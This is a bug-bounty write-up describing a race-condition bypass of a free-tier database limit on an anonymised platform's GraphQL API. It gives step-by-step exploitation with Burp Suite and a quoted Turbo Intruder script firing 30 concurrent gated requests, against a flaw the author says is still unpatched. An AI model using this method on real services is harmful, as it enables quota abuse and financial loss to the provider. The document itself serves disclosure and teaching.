How I Bypassed a Free-Tier Resource Limit via Race Condition

Note: This vulnerability is currently unpatched. Out of respect for the program’s responsible disclosure policy, the target platform’s name and URLs have been anonymized.

Summary

Recently, I was hunting for some Business Logic vulnerabilities in a well-known platform and there was a button to create database so immediately i checked the pricing page if there is any limit to free users about creating more than any limit of databases and yeah free users was limited to create 5 database at max then i realized that i can test for race conditions on that feature so discovered a race condition vulnerability in a GraphQL mutation that allowed bypassing a free-tier limit on database creation. Although my report was marked as a duplicate report, it remains unpatched so I’ve chosen to share my process without revealing the platform’s identity.

The vulnerability allowed users to create more than 5 databases on a free-tier account, even though the UI and API enforce a strict quota. This bypass was possible by concurrently firing multiple GraphQL mutation requests.

Technical Details

The vulnerability resides in a GraphQL mutation (CreateNewDatabase). Free-tier users are limited to 5 databases. However, by sending multiple simultaneous requests, the backend fails to properly handle concurrent requests, allowing the user to create more than the allowed number of databases. Basically, the vulnerability occurs due to the backend’s failure to properly validate concurrent requests.

Exploitation Method

Here’s the exact process I followed:

1. Navigate to the platform’s UI and create a new database.
2. Intercept the CreateNewDatabase GraphQL mutation using Burp Suite
3. Use Turbo Intruder extension in Burp Suite with the following script:

# From https://github.com/PortSwigger/turbo-intruder/blob/master/resources/examples/race.py
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=30,
                           requestsPerConnection=100,
                           pipeline=False
                           )

    # the 'gate' argument blocks the final byte of each request until openGate is invoked
    for i in range(30):
        engine.queue(target.req, target.baseInput, gate='race1')

    # wait until every 'race1' tagged request is ready
    # then send the final byte of each request
    # (this method is non-blocking, just like queue)
    engine.openGate('race1')

    engine.complete(timeout=60)


def handleResponse(req, interesting):
    table.add(req)

4. Observe that more than 5 databases with each unique id are successfully created under the same account.

Impact

• Bypass of Free-Tier Limitations: Free users can exceed the quota without upgrading to a paid plan.
• Abuse of Resources: Leads to unauthorized usage of cloud infrastructure.

Overall, these are causes financial loss.

CVSS: 4.3 (Medium Severity)

Final Thoughts

This was a great example of how logic flaws like race conditions can be impactful yet simple to exploit. That kind of Business Logic vulnerabilities are often overlooked but can lead to critical abuse scenarios. So its worth looking for these while everyone is just using the same automation workflows.

– Efe (efesn)